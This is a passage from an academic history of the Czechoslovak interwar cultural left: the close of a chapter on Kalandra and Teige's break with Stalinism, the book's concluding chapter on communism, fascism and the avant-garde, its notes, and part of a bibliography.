I consider Kalandra's most significant discovery, which leads to a natural culmination of this book, to be the disclosure of the naivety and blindness of the majority of the Czechoslovak cultural left in the interwar era, particularly in the 1930s.
Some prominent members of the cultural avant-garde still do not want to see the connection between the cultural and political reaction. They are attacked, whether directly or indirectly, in their production by Neumann-type enforcers of uniformity and therefore cannot be oblivious of the harmful effect of the reactionary Stalinist cultural policy. . . . On the one hand they oppose the persecution of Mejerchold and Pasternak, but on the other hand they condone the executions of Zinovev, Kamenev, Rykov and the raging campaign against comrade Trotsky. It will not be a minor achievement of Teige's book if it contributes to the half-seeing and half-blind finally fully regaining their sight. . . . Those who know the danger of the murky stream of the anti-Leninist, chauvinistic reaction, which spreads around the world from the epicenter of Stalin's bureaucratism, will welcome the voice of the Prague surrealist group as proof that the best of our intellectuals today are clearly heading up the stream.33
The leftist cultural scene has thus split at the threshold of WWII. In the end, it was only a handful of leftist intellectuals who stood against the current represented by Stalin's practical politics and its advocates not only in Czechoslovakia, but virtually all around the whole democratic world. In Czechoslovakia, it was, for example, F. Bidlo, B. Brouk, V. Cˇerný, J. L. Fischer, L. Grölich, F. Halas, J. Hora, J. Ježek, Z. Kalandra, V. Kaplický, J. Krejcar, F. Kovárna, J. Noha, K. Reiner, J. Seifert, J. tyrský, K. Teige, Toyen, and others. These people who found themselves crushed by the system, in which as if there was no good alternative, became the target of unscrupulous criticism, which at the turn of the 1940s and 1950s transformed into professional, if not outright physical elimination.
The policy of the KSCˇ was similar in nature to the Stalinist theory of the inner enemy and targeted left-leaning critics much more resolutely than the truly anti-Marxist and ant-communist politicians or publicists. Proof of this lies in the contents of the articles on culture and art in the communist press, which instead of defending the position threatened by the arrival of the authoritarian right, if not directly fascism, focused on the criticism and denunciation of "renegades" labeled as Trotskyists. An example of such approach is J. Taufer's article entitled "Karel Teige between the Currents," published in the U Blok magazine.
According to Taufer, Teige's resistance to the communist movement can be tracked down to the dissension in Deveˇtsil, which
lay in the attitude toward the USSR and the Soviet reality in general. That part of the artistic left which led to surrealism never identified itself with Marxism as a method of thinking to be able to see the Soviet as well as non-Soviet reality in an on-going process.34 At the time of revolutionary transformation, they remained mere me-tooers and only upon the coming of fascism did it become clear that they were incapable of finding new perspectives of development . . . it became evident that mere platonic identification with dialectical materialism does not necessarily mean internalizing it. How this 'me too,' this consent with the dictatorship of the proletariat, gave no indication as to what the artist's whole sentence was going to be. The trials, revealing ever more noticeably the fingers of fascism reaching for the result of the revolution = the USSR, and showing that Trotskyism has long ceased being a faction of the workers' movement and became only a criminal act, the bloody reprisals, which had not been there before, started to scare the nodding artists.35
Taufer concludes with a threat:
Teige's "against the current" is a mere peripety in a surrealist tragedy, exposing the dismal remnants of this sect to the position of between the currents, under the slogan of the fight "against Nazism and the Soviet reaction," which means to stand facing the USSR with one's back turned on fascism. Such is the well-known parasitic position of Trotsky and his followers; the real target of their attack is known. May Teige and the others realize that going against the current, which is what they are doing, does not bring progress, but leads to being swept away.36
The Czechoslovak cultural left was definitively divided into the majority, which went "with the current" and the minority, which dared criticize and was to be punished for it. The symbolic end to the interwar avant-garde of the left in Czechoslovakia is the break-up of the "inseparable" Nezval-Teige duo, the first of whom obediently joined the line of pro-Stalin artists,37 while Teige held on to his cultural and political views until his death in the early 1950s. He continued to give momentum to the surrealist group in Czechoslovakia even after the communist establishment declared socialist realism as the only acceptable artistic style.
Notes
1. Tvorba, 1 May 1936. Qtd. in Luboš Brabec, Publicista Záviš Kalandra (M.A. Thesis, Charles University, Faculty of Social Sciences, 1998).
2. Brabec, Publicista Záviš Kalandra, 1998.
3. Brabec, Publicista Záviš Kalandra, 40.
4. In his book Knihy a osudy (Books and Fates), Julius Firt writes that between 1936 and 1938 the Soviet embassy hosted meetings of Czech writers "from R. Medek to V. Nezval." Julius Firt, Knihy a osudy (Brno: Atlantis, 1991).
5. Záviš Kalandra, Intelektuál a revoluce (Prague: Cˇeský spisovatel, 1994).
6. Meaning the so-called Fourth International, which was established under L. Trotsky's leadership in 1938.
7. Kalandra, Intelektuál a revoluce, 220.
8. Kalandra, Intelektuál a revoluce, 221.
9. Kalandra, Intelektuál a revoluce, 230.
10. Qtd. in Ivan Pfaff, Cˇeská levice proti Moskveˇ 1936–1938 (Prague: Naše vojsko, 1993), 32.
11. S. K. Neumann, Anti–Gide neboli optimismus bez poveˇr a ilusí (Prague: Svoboda, 1946).
12. Tvorba, 11 June 1937.
13. U Blok 2, no. 3, 299.
14. U Blok 2, no. 3, 305.
15. U Blok 2, no. 3, 305.
16. U Blok 2, no. 3, 307.
17. That is, those who were sentenced in the political trials.
18. Unfortunately, not even short summaries of the individual articles are available to us. U Blok 2, no. 4, 385.
19. U Blok 2, no. 4, 385.
20. Karel Teige, Zápas o smysl moderní tvorby. Studie z trˇicátých let. Výbor z díla II (Prague: Cˇeskoslovenský spisovatel, 1969).
21. Qtd. in Avantgarda známá i neznámá, sv. III (Prague: Svoboda, 1970).
22. "(How) could he put an equals sign between Berlin and Moscow? . . . (This is evidence of) not only moral, but—first and foremost—an intellectual mistake."
23. Teige, Zápas o smysl moderní tvorby. Studie z trˇicátých let.
24. Labeling doubts about the legitimacy of mass murders as a crisis among intellectuals can be attributed either to ignorance or utter indifference and cynicism.
25. U Blok 3, no. 1, 75.
26. U Blok 3, no. 2, 174.
27. Kalandra, Intelektuál a vevoluce,146.
28. Meaning T. G. Masaryk.
29. Kalandra, Intelektuál a revoluce, 147.
30. Kalandra, Intelektuál a revoluce, 148.
31. I will cover this topic in more detail at the end of the book.
32. In the article "Super-reality in Surrealism," he wrote: "I have to stick only to speculation, whether direct empirical proof has been provided yet. I'm referring to the effect of the great Nezval poem The March of the Red International, when it was recited before revolutionary workers and intellectuals at the Commodity exchange. Perhaps most of those who only read it did not perceive it as strongly as those who heard it recited with all its emotional strength, empowering revolutionary confidence and having a clearly positive revolutionary effect." Kalandra, Intelektuál a revoluce, 23.
33. Kalandra, Intelektuál a revoluce, 148–49.
34. That is, in constantly changing communist strategy, which did not correspond to the affirmation of a clear political ideology.
35. U Blok 3, no. 3, 229–30.
36. U Blok 3, no. 3, 230.
37. Teige accused Nezval of writing "distasteful Stalinist orthodoxy, a pure ode on Stalin, in which he openly celebrates the executions of Lenin's former colleagues; Nezval vilified Teige as an aging avant-gardist and Trotsky-like pan-intellectual." Pfaff, Cˇeská levice proti Moskveˇ, 42.
# Chapter 16
## Conclusion
For the major part of the twentieth century, the history of Czechoslovakia, or later the Czech Republic, was affected by the influence of totalitarian ideologies, although it is difficult to pinpoint the exact moment at which this influence started. Historians will probably refer to the dates March 15, 1939 and February 25, 1948. These two days were undoubtedly the turning points which significantly determined further development of Czechoslovakia; however, they are more like symbols of which history is so fond. Fascism and communism began shaping the Czechoslovak political scene much earlier, practically right after the establishment of the independent state in October of 1918.
The transformation of the political regime in Russia, caused in 1917 by the resistance of people without rights to militarism and the tyranny of the Czarist regime, brought about a wave of revolutionary sentiment in war-stricken Europe, which greatly contributed to ending the war, after which it grew into a number of revolutionary attempts that led to changes in the domestic political situation in many countries. Although the communist ideology proclaimed by the new Kremlin establishment with V. I. Lenin in the lead never took over the government, it significantly affected the thinking of those who, thanks to the democratization by means of their votes, contributed to the formation and shape of political systems in the interwar era.
In most countries, the communist ideology, promising social justice, which was to be the result of the revolutionary transformation of property and ownership relations, soon attracted a great many supporters. Apart from the poorest classes in society, for whom communism represented a dream of improving often very bad living conditions, the ideas spread by the Moscow headquarters of the Third International were adopted by a number of intellectuals, often from wealthy and influential families. While the first group was driven by material motivation, leftist intellectuals saw in Leninism, which was presented as a modification of K. Marx's ideas to specific historical conditions, mainly a new philosophical trend, which was to become the means to understanding the world following the breakdown of the cohesive cultural tradition at the turn of the nineteenth and twentieth centuries, as well as a remedy to the disillusionment caused by the catastrophic war conflict.
The war and its consequences meant disillusionment for the major part of the population of all countries that participated in the conflict. Not only the defeated, but also the victors paid for the war conflict with disruption of their industry reoriented to arms production and a severe economic crisis, which served as the matrix for the revolutionary sentiment. Russian communists immediately attempted to use these circumstances to export the revolution. The establishment of soviet republics in Hungary, Bavaria, and Slovakia as well as attempts at communist revolution in other countries were warded off only by a concentrated defense and mutual assistance of countries guaranteeing the stability and immutability of the so-called Versailles system, that is, mainly France, Great Britain, and the countries of the Little Entente. The activities of the communist parties that openly called themselves national sections of the Communist International were subjected to strict supervision; in some countries, communist parties were later banned.
Apart from communism, the postwar era saw a rise in another totalitarian ideology, also fed by the discontentment of some social classes, the fascist ideology. While supporters of communism saw the changes brought about by the war as insufficient, supporters of fascism turned mainly to the prewar era. While communists wanted to achieve social justice by establishing a classless society, supporters of fascism promoted a corporate model of a political system, which was to be safeguarded by a "strong government." Both totalitarian ideologies were based on a similar collectivist model aimed at creating a seemingly just society ensuring the equality of its citizens, but only those who would fully identify not only with the goals, but also with the methods of the ruling class.
Communism and fascism in interwar political systems found themselves at the two extremes of the political spectrum and considered each other to be their biggest enemies. It was often a mere rhetorical game and the supporters of the two ideologies concordantly fought against the democratic political parties. Probably the clearest evidence of this is the disruption of the democratic regime of the so-called Weimar Republic.
The democratic states, which attempted to overthrow the communist regime in Soviet Russia by international intervention, did not manage to oppose with the same vigor the fascist regimes that started to take over European countries as early as the early 1920s. The reason was mainly the conviction of a lesser threat posed by fascism, which was thought to serve as protection for Europe against the dangers of communism. This fallacy, which in the 1930s grew to a shameful and treacherous policy of appeasement, was later paid for dearly by the democratic powers in the form of a shameful alliance with Stalin's Soviet Union and subsequently fifty years of Cold War.
Czechoslovakia was one of the few states that managed to resist both communist as well as fascist pressure during the entire interwar era and change came only from without, against which there was virtually no defense. In spite of this resistance, communist ideology gained relatively major support from the Czechoslovak people in the 1920s and 1930s. Throughout the duration of the first Czechoslovak republic, the Communist Party enjoyed the electoral support of more than 10 percent of voters. Despite its relatively strong position, the Communist Party of Czechoslovakia never shed the stigma of an undemocratic and anti-systemic party and during the first republic it never once became a governmental party. Communists were exposed to strong pressure from the repressive bodies of the government and particularly in the first half of the 1930s, they balanced on the brink of legality. Their political activity was banned in December of 1938, that is, during the so-called second republic, whose regime was moving very quickly toward an authoritarian, if not a directly fascist model.
Just as in other countries, also in Czechoslovakia part of the intelligentsia and artists became enthusiastic about the communist idea. This enthusiasm was experienced by people across all generations. While the older generation of artists (S. K. Neumann, J. Hora, and others) approached communism for individualist reasons, influenced mainly by anarchism, representatives of the younger generation leaned toward communism mostly based on collectivist theories of avant-garde artistic styles that already before the war had preached the need for artistic and political revolution, which would bring about the collapse of the existing culture and complete liberation of artistic production.
This definition of leftist artists in two groups, clearly divided in terms of generation and ideology, cannot be accepted generally and without reservation; on the contrary, I have attempted to describe as precisely as possible all the events and persons that defy the simple definition of the split within the cultural left in this complex process of ideological cleavage. I believe I have managed to present evidence that the hazy term "collective thinking" is in reality confronted by individual thinking and also the conscience of an individual. Perhaps the clearest confrontation between collectivism and individuality can be seen in the surrealist group, where the strict organizational rules are confronted by the unfettered artistic individuality of its members.
What brought leftist intellectuals together not only in Czechoslovakia was the illusion that historical development can be predicted and thus subsequent identification with communist teachings of the inevitability of a transfer to a classless society. Based on this illusion, leftist artists became enthusiastic advocates of the Soviet regime, about which they usually knew nothing except for what was written in the newsletters and bulletins published by the leadership of the Communist International. This ignorance of the actual conditions was one of the reasons for disagreement among the cultural left.
Intellectuals in the Communist Party stood on its periphery and were considered to be a foreign and suspicious element by many top representatives. In relation to the older generation, this skepticism is characterized by meral's leadership of the anarchism-bred Union of Communist Groups, or by S. K. Neumann, who represented the spiritual leader of this organization. It is paradoxical that it was Neumann who became the leader of the first united cultural organization of the communist party—Proletkult—and also the leading advocate of proletarian art based on the principle of socialist realism.
Throughout the interwar era, Neumann' biggest ideological opponent on the cultural left was K. Teige, who spoke on behalf of avant-garde movements, which professed the independence of art creation from political dictates. The disputes between these two outstanding theoreticians, which went through various stages, in which the communist establishment once backed Neumann and then Teige, show the inconsistency within the party and the entire communist movement. This inconsistency was the result of a fact which the majority of the cultural left did not realize; neither the Soviet leaders nor the leadership of the Communist International ever stuck to a clearly defined ideology, be it Marxist, Leninist, or any other. All modifications to the strategy proclaimed by the Comintern were merely an expression of the adjustment of an otherwise disrespected ideology to the special interests of the Soviet Union, or those of Stalin himself.
A discussion on leftist culture took place in Czechoslovakia without any major interference from the Communist Party until the fifth congress of KSCˇ; the majority of disputes of leftist artists and art theoreticians on the form and content of the artwork of a proletarian artist was conducted out of sight of the party leadership, in an atmosphere of a free creative approach. During the 1920s, the Communist Party underwent a process of constant ideological splitting, which occupied it to such an extent that the cultural organization found itself at the bottom of the Communist Party's list of priorities. The first wave of hysteria swept across the permanent discussion on leftist culture and art after the Bolshevization of the KSCˇ in connection with the rejection of this process by seven writers, who until then had been considered to be exemplary proletarian artists. Although, with the exception of Josef Hora, everyone once again clung to the Communist Party and its cultural organizations, the "pre-bolshevization" discussion on proletarian art was never resumed. While until the fifth congress of the KSCˇ this discussion was based on academic principles, in the 1930s it continued ever more often to be transformed into mere political campaigning, if not directly a controlled elimination of ideological opponents.
At the beginning of the 1930s, the voluntary collectivist spirit, which captivated the cultural left in the 1920s, quickly disappeared, to be replaced by the cumbersome Left Front, from which many significant writers either left or their affiliation was only a formal act. The joyous and playful spirit which gave rise to manifestos of proletarian art and poetism was destroyed and gave way to the stiffness and vulgarity of communist critics gathered around the Tvorba magazine.
The Bolshevized Communist Party immediately began to knowingly take advantage of the militarized intellectual left for its political objectives. Artists were involved in organizing strikes during the time of economic crisis, they participated in press campaigns against their colleagues from the conservative, liberal, and socialist streams, they publicly promoted the policy of the Communist International and denounced all expressions of disagreement, such as Trotskyism. The climax of the abuse of the cultural left at this time was the propaganda in connection with the Spanish civil war, where Soviet foreign policy resigned itself to the tactic of the so-called popular front and pursued purely Russian goals.1
Against constant changes to the tactic of the Communist International and the Soviet Union, which in their opinion deformed the original communist ideology, various opposition groups formed both within the Comintern and the KSCˇ, the members of which were also leftist intellectuals. This inner opposition was intervened against by individual leaders of the KSCˇ by way of purges and denunciation campaigns. Partisan purges did not spare leftist intellectuals either. As early as in the 1920s, the Communist Party expelled, for example, K. Vaneˇk, who was known mainly for his own, embarrassing ending of Hašek's The Good Soldier Schweik. It was Vaneˇk who together with Hašek founded the so-called Jacˇejka, one of the first Czech communist cells among Austrian deserters of Czech origin.
The most well-known purge among the leftist intellectuals is undoubtedly the excommunication of the seven writers who in 1929 (temporarily) refused to accept the change in KSCˇ leadership ordered by Stalin. These were people who significantly contributed to the establishment of the Communist Party in Czechoslovakia, mainly S. K. Neumann. I would like to again point out that these were mainly members of the older generation of artists, who based themselves on theories of individualism at the turn of the century, and in some cases directly on anarchism. Their critical position is therefore not surprising; what is surprising, though, is the quick return of the majority of expelled writers under the wings of the Bolshevized party and their further activity. Even such a critical soul as S. K. Neumann joins the distasteful campaigns against the critics of Stalin's bloody methods in the second half of the 1930s.
The last big prewar purge directed against intellectuals in the Communist Party was the expulsion of surrealists from the Left Front at the beginning of 1938. The official reason for this move was the disagreement of some representatives of Czech surrealism with the political trials in the Soviet Union,2 whose victims were both ordinary people as well as architects of the revolution. The campaign against surrealism was not merely a defense against critics of Stalinist deformations in the communist movement, but also an intervention against an alternative form of communist art production and a definitive confirmation of the method of so-called socialist realism as the only acceptable art form.
It is symptomatic that until their excommunication, the majority of the expelled were passionate advocates of the Soviet Union and communist ideas. The sobering caused by the discovery of the political intrigue of Stalin and his Czechoslovak followers could not be left without comment by the leftist intellectuals. Perhaps the loudest declaration of his sobering came from K. Teige, who without hesitation compared the methods of fascist Germany to Soviet Russia. Although Teige speaks only of the cultural policy, we cannot ignore the fact that Teige, a former zealous promoter of the Soviet regime and the leading advocate of the Bolshevization of the KSCˇ on the cultural left, managed to perform a profound self-reflection and point out all the detrimental phenomena in the Soviet Union.
Criticism of Stalin's practical politics led most leftist intellectuals to positions that communist journalism referred to as Trotskyism.3 The synonym for this position in Czechoslovakia was Z. Kalandra and on the cultural left the previously mentioned K. Teige. Being a Trotskyist meant disagreeing with the current political development in the Soviet Union, yet still believing in the rightness of communist ideas, which according to Trotskyists were merely distorted. Supporters of this idea were associated with the views of Soviet communist emigrants, whose main representative was L. Trotsky.
In the second half of the 1930s, swept up by the panic from the fascist threat, criticism of the Soviet Union from both noncommunist and especially communist positions was viewed as something undesirable and harmful. Teige, Kalandra, and others found themselves crushed in the wheels of the system, from which they looked for a third way out. A very convincing account of these "outcasts" is given by L. Buñuel in connection with the Spanish civil war.4 Statements from the Trotskyist cultural left as well as the practical activities of Trotskyist politicians—again the best example is the involvement of the POUM units in Spain—provide evidence that not only its distorted form but the communist teachings themselves are based on violence. Let us remember Kalandra's statement, in which on the one hand he expresses his doubts about the political trials in the Soviet Union, and on the other hand he clearly states his views:
If we were still in the fortunate situation that we were for only a few short years, when we could believe the words of the leaders of the official communist party and trust its press, then everything would be perfectly easy. Then the Moscow trials would be about eliminating the terrorist enemies of the USSR who had sunk so deep as to conspire with Hitler, in which case we would all be the first to support the carrying out of the merciless sentences. For we do not condone deceitful bourgeois humanism and we have nothing but scorn for the hypocritical cry of reactionaries over the fate of those deservedly struck by the punishing sword of revolutionary justice.5
Such is the position of a typical carpet communist, who is the best first step to the establishment of communist concentration camps, if not directly genocide, as was the case in Pol Pot's Cambodia.
Despite all the reservations, the Trotskyists hold one primacy. It was them who loudly and clearly pointed out the fact that the 1930s brought the world to a situation in which there is nothing clear. While the majority of intellectuals—not only on the left, but also liberal intellectuals—rejected any kind of criticism of the Soviet Union as they deemed it indispensable in the struggle against fascism, it was the so-called Trotskyists who pointed out the fact that the world is not black-and-white6 and that one needs to differentiate between individual acts and avoid uncritical admiration of the Soviet regime. However, with this position, they found themselves on the edge, expelled from the cultural left and misunderstood by the majority of other intellectuals.
Following the revelation of Stalin's cult and its proclamation as a mere deviation from otherwise unquestionable teachings, there appeared an opinion which admitted the errors—but not criminality—of the political trials in the Soviet Union; however, it still defended the supporters of these trials. According to this statement,7 Teige and other critics of the political trials were right, but they should not have exposed it, because it harmed the communist movement. On the other hand, the leftist intellectuals who defended the trials are presented almost as martyrs; they often knew the trials were illegal and the accusations fabricated, but they still defended the official position of the Stalin-controlled Comintern for the "higher cause."
The course of WWII and its results allowed Stalin to make at least part of his prewar efforts come true. The Yalta agreement, based on which Europe was divided into power zones, opened the door for the Soviet model into Eastern and Central Europe and granted pan-Russian imperialism its biggest territorial gain in history. The vassal governments made up of members of the Communist Parties were fully subordinated, with a few exceptions,8 to directives from Moscow. Obedience was ensured also by Soviet agents operating in the armed forces of the so-called peoples' democratic and later socialist countries, as well as by the Soviet military presence in these countries.
Leftist intellectuals were actively involved in implementing Soviet methods in the area of culture. The tool for the implementation of these methods in Czechoslovakia was the newly established ministry of information led by the KSCˇ's leading ideologist, Václav Kopecký. The ministry's high-ranking officials were those artists who in the prewar era had shown loyalty to Stalin's politics and its methods. The prewar representatives of many avant-garde artistic movements, V. Nezval, F. Halas, and A. Hoffmeister, held positions of deputy ministers.
Many leftist artists became merely ordinary communist bureaucrats, through whom after 1948 the Communist Party dealt with those who dared to disagree and doubt. Apart from the representatives of other than leftist art forms, mainly literary Catholicism, the cultural policy of the Communist Party after 1948 focused its attention primarily on representatives of the leftist avant-garde art forms, who were often labeled as Trotskyists and tried. Perhaps the most well-known victim from the inter-war intellectual left is Záviš Kalandra, who was executed in 1950. The spiritual leader of the surrealist group, Karel Teige, died of heart failure in 1951, while awaiting a similar fate. In the same year, Konstantin Biebl committed suicide by jumping from a window. A number of other artists avoided communist reprisals by fleeing the country.
The pro-Soviet intellectuals and artists, whom in the foreword I called subculture or counterculture, were given a chance to make the eternal dream of avant-gardists true in Czechoslovakia—the political movement for which they provided ideological support took over the government.9 While in the prewar era, as representatives of one, far from dominant movement in Czechoslovak culture, communist intellectuals focused mainly on the politicization of art, in the communist state this activity was transformed into the aesthetization of politics.10
Foreshadowing this transformation was the proclamation that socialist realism was the only acceptable method for communist artists which came together with the expulsion of the surrealist group from the Left Front, and its comparison to political Trotskyism. While the representatives of avant-garde art forms, professing the idea of communist revolution, stuck to the position of the politicization of art, whether in the era of proletarian art, poetism, surrealism, or other art forms, socialist realists laid as the main axiom for art production by communist artists the aesthetization of politics. What is paradoxical is that in the communist state, an avant-garde art form was transformed into the leading movement, which stepped down from one of the fundamental principles of avant-gardism by proclaiming itself to be the ultimate art form.11 This feeling of finality is undoubtedly connected with the communist belief in the "end" of history, which is to occur with the formation of a communist society.
If I attempt to expand Bell and Berger's terminology, then socialist realism, which in the prewar era can be viewed as one of the countercultures, in the people's democratic states of the Soviet Bloc after WWII does not just become the official culture, but grows into a sort of a superculture, which suppresses other cultures, pushing representatives of other (sub)cultures into a position bordering on illegality,12 if not directly eliminating them.13 This superculture in a totalitarian system identifies its activity with the needs of the ruling political party, or the elite.
From here, there is just one step to a theoretical comparison of communism to the political avant-garde and socialist realism as the cultural avant-garde, which accompanies communism. If we identify ourselves with the statement that the moment when socialist realism became the official, ruling culture, which meant the definitive collapse of avant-gardism, can we similarly think about communism as a political idea? Did perhaps the moment when the Communist Party took over power and its ideology became the official, ruling ideology mean the collapse and emptying of communism?
It seems that the characteristic feature of the twentieth century, which could be called the century of political and cultural avant-gardisms, is the avant-garde interpretation of politics and culture, which is always based on the idea of superiority and inferiority. Communism, fascism, Trotskyism, nepotism, racism, tribalism, modern nationalism, and other political-isms that apart from politics also put the emphasis on culture, are built on the idea of "avant-garde"—class, nation, race, tribe, and so on. If some current advocates of communism claim that the political practice which we knew in Czechoslovakia for more than fifty years was only a distorted and deformed version of the right idea, this opinion needs to be resolutely rejected based on the fundamental axiom of communist doctrine, which is the conviction of a natural supremacy of one social class over others, which is entirely irreconcilable with democratic principles.
Notes
1. The Soviet tactic in Spain is well covered, for example, by F. Furet, who believed that Stalin deliberately tried to prolong the civil war and thus divert the attention of German Nazis from the Soviet Union. François Furet, Minule iluzije. Esej o komunisticˇni ideji 20. stoletja (Ljublana: Mladinska knjiga, 1998).
2. It would be a mistake to think that K. Teige or the surrealists were the only leftist intellectuals who pointed out the criminality of the Moscow trials. As an example of slightly different criticism, we can mention Josef Hora's autobiographical book Dech na skle (transl. Breath on Glass), published in 1938, in which Hora criticizes the current leadership of the communist movement ("It is all you. You love the world but hate the people.") and shows the similarities between Stalinism and fascism. By means of a letter from a fictitious friend, he points out the reality of contemporary life in the USSR:
Dear John,
I'm sending a letter through a friend who is going to Prague. It is nice of her, she is very brave. Everyone has turned away from me. Some unthinkable things have happened here. My husband was unexpectedly arrested and taken away, no one will tell me where. He is accused of having ties with the opposition, they accused him of sabotage. I never saw it coming, I still cannot believe it. I cannot cross the border. . . .
Goodbye,
Tamara.
The novel contains a very strong condemnation of the Stalinist form of communism, for example: "These saviours of the world, whether they be communists or fascists, have more pride than love. They do not care about the poor, about the nation, only about their vain idea about how the poor and the nation should behave." Taken from the article "Horo, Horo, vysoká jsi," Reportér 20 (1990/V): 5–11 October 1990.
3. Some pro-communist intellectuals, for example, J. Hora, completely turned away from the institutionalized form of communism.
4. "It was total war. It was out of the question to remain neutral, to support the tercera Espanˇa (third Spain), of which many dreamed at the bottom of their hearts." Luis Buñuel, Do posledného dychu (Bratislava: Slovenský spisovatel, 1986), 187.
5. Záviš Kalandra, Intelektuál a revoluce (Prague: Cˇeský spisovatel, 1994), 222.
6. The doubts and uncertainty in the evaluation of events in the second half of the 1930s can once again be illustrated in the position of L. Buñuel, who oscillated between support for the Soviet Union and Trotskyism. In his doubts, Buñuel even finds understanding for Franco's dictatorship in Spain, although he actively fought against it and finally had to flee the country. "I have never been a fanatical opponent of Franco. In my eyes, he did not impersonate the devil. Sometimes I toy with the idea that he saved the bleeding Spain from Nazi occupation. As far as my feelings about Franco, they are not entirely unambiguous." Buñuel, Do posledného dychu, 207.
7. The statement can be found, for example, in the anthology Cˇeská literatura proti fašismu (Transl. Czech Literature against Fascism). Cˇeská literatura v boji proti fašismu (Prague: Cˇeskoslovenský spisovatel, 1987).
8. It needs to be said that even countries that managed to resist the Soviet influence built their own models of communism on very undemocratic methods. Albanian communists stuck with Stalinist methods until the 1980s, and the Maoist regimes in China and Cambodia also displayed a high degree of brutality. Tito's Yugoslavia represented a special case, which initially copied the Soviet methods, but which from the 1960s adopted a number of democratization measures.
9. Speaking of subcultures and countercultures, we cannot help but mention the era of the so-called second republic, in which a similar chance was given to representatives of literary Catholicism and ruralism.
10. For example, W. Benjamin writes about this phenomenon. Walter Benjamin, Umetniško delo v cˇasu tehnicˇne reprodukcije (Ljubljana: Mladinska knjiga, 1981).
11. D. Rupel called this phenomenon the "emptying of avant-gardism." Dimitrij Rupel, "Alternativa gibanju v kulturi," in Zbornik socialoškega srecˇanja Neformalne dejavnosti v slovanski druz˘bi (Ljubljani: Center za druzˇbenopoliticˇno izobrazˇevanje, 1987, 224.
12. The phenomenon of the underground.
13. In the Soviet Union, this phenomenon can be noticed earlier.
## Bibliography
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Avantgarda známá i neznámá, sv. II. Prague: Svoboda, 1972.
Avantgarda známá i neznámá, sv. III. Prague: Svoboda, 1970.
Bell, Daniel. The Cultural Contradictions of Capitalism. New York: Basic Books, 1976.
Benjamin, Walter. Umetniško delo v cˇasu tehnicˇne reprodukcije. Ljubljana: Mladinska knjiga, 1981.
Berger, Peter. Facing Up to Modernity. New York: Basic Books, 1977.
Blahynka, Milan. Víteˇzslav Nezval. Prague: Cˇeskoslovenský spisovatel, 1981.
Blahynka, Milan, and Jirˇí Cˇutka. Nezval–Wolker. Ostrava: Krajské nakladatelství v Brneˇ a Ostraveˇ, 1964.
Brabec, Luboš. Publicista Záviš Kalandra. M.A. Thesis, Charles University, Faculty of Social Sciences, 1998.
Breton, Andre. Tri manifesta nadrealizma. Bagdala: Kruševac, 1979.
Broklová, Eva. Cˇeskoslovenská demokracie. Politický systém 1918–1938. Prague: Slon, 1992.
Buñuel, Luis. Do posledného dychu. Bratislava: Slovenský spisovatel, 1986.
Cabada, Ladislav. Spisovatelé a KSCˇ v období První republiky. M.A. Thesis, Charles University, Faculty of Social Sciences, 1996.
Cˇada, Václav. Stratégia a taktika Komunistickej strany Cˇeskoslovenska v rokoch 1921–1938. Bratislava: Pravda, 1982.
Cˇeská literatura v boji proti fašismu. Prague: Cˇeskoslovenský spisovatel, 1987.
Chvatik, Kveˇtoslav, and Zdeneˇk Pešat. Poetismus. Prague: Odeon, 1967.
Cˇornej, Petr. Lipanské ozveˇny. Jinocˇany: H & H, 1995.
Deˇjiny KSCˇ. Prague: Nakladatelství politické literatury, 1966.
Deˇjiny KSCˇ v datech. Prague: Svoboda, 1984.
Firt, Julius. Knihy a osudy. Brno: Atlantis, 1991.
Fucˇík, Bedrˇich. Cˇtrnáctero zastavení. Prague: Melantrich and Arkýrˇ, 1992.
Furet, François. Minule iluzije. Esej o komunisticˇni ideji 20. stoletja. Ljublana: Mladinska knjiga, 1998.
Gajan, Koloman. Prˇíspeˇvek ke vzniku KSCˇ—Od prosincové generální stávky do slucˇovacího sjezdu KSCˇ. Prague: Státní nakladatelství politické literatury, 1954.
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———. "Manifest sedmi literátu˚." In Kapitoly z deˇjin Cˇeskoslovenského tisku I. Prague: Cˇeský novinárˇ, 1969b.
Honzík, Karel. Ze života avantgardy. Prague: Cˇeskoslovenský spisovatel, 1963.
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Hudec, Josef. Bolševism v Cˇeskoslovenské republice. Prague: Národní odbor Cˇeskoslovenský Mezinárodní dohody proti III. internacionále, 1927.
Hyršlová, Kveˇta. Cˇeská inteligence a protifašistická fronta. Prague: Melantrich, 1985.
Chvatík, Kveˇtoslav, and Zdeneˇk Pešat. Poetismus. Prague: Odeon, 1967.
Kalandra, Záviš. Intelektuál a revoluce. Prague: Cˇeský spisovatel, 1994.
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———. Boj o Hrad (1926–1935). Prague: Panevropa, 1998.
Komunistická strana Cˇeskoslovenska a kultura. Sborník dokumentu˚, projevu˚ a Cˇlánku˚ ke kulturní politice KSCˇ. Prague: Vysoká škola politická ÚV KSCˇ, katedra kulturní politiky, 1973.
Komunistická strana Cˇeskoslovenska a literatura. Prague: Horizont, 1971.
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Mencl, Vojteˇch. Na cesteˇ k jednoteˇ Komunistické strany Cˇeskoslovenska v letech 1921–1923. Prague, 1964.
Neumann, Stanislav Kostka. Anti–Gide neboli optimismus bez poveˇr a ilusí. Prague: Svoboda, 1946.
———. Umeˇní a politika I. Prague: Cˇeskoslovenský spisovatel, 1953.
———. Konfese a konfrontace. Prague: Cˇeskoslovenský spisovatel, 1988.
Nezval, Víteˇzslav. Manifesty, eseje a kritické projevy z let 1931–1941. Prague: Cˇeskoslovenský spisovatel, 1974.
———. Z mého života. Prague: Cˇeskoslovenský spisovatel, 1959.
Obraz Neˇmcu˚, Rakouska a Neˇmecka v Cˇeské spolecˇnosti 19. a 20. století. Prague: Karolinum, 1998.
Olivová, Veˇra. Zápas o Cˇeskoslovensko. rˇíjen 1937–Zárˇí 1938. Prague: H & H, 1992.
———. Cˇeskoslovenské deˇjiny 1914–1939. Prague: Karolinum, 1993.
Ortega y Gasset, José. Vzpoura davu˚. Prague: Naše vojsko, 1993.
Orwell, George. Hold Katalánsku. Prague: Odeon, 1991.
Peroutka, Ferdinand. Boje o dnešek. Prague: Fr. Borový, 1925.
Pešat, Zdeneˇk. Jaroslav Seifert. Prague: Cˇeskoslovenský spisovatel, 1991.
Petrus, Jaroslav. Václav Klofácˇ (1868–1942). Prague: Melantrich, 1992.
Pffaf, Ivan. Cˇeská levice proti Moskveˇ 1936–1938. Prague: Naše vojsko, 1993.
Píša, Antonín Mateˇj. Dvacátá léta: kritiky a stati. Prague: Cˇeskoslovenský spisovatel, 1969.
Program Cˇeské strany socialistické prˇijatý na VIII. sjezdu 30. 3.–1. 4. Prague: O. Janácˇek, 1918.
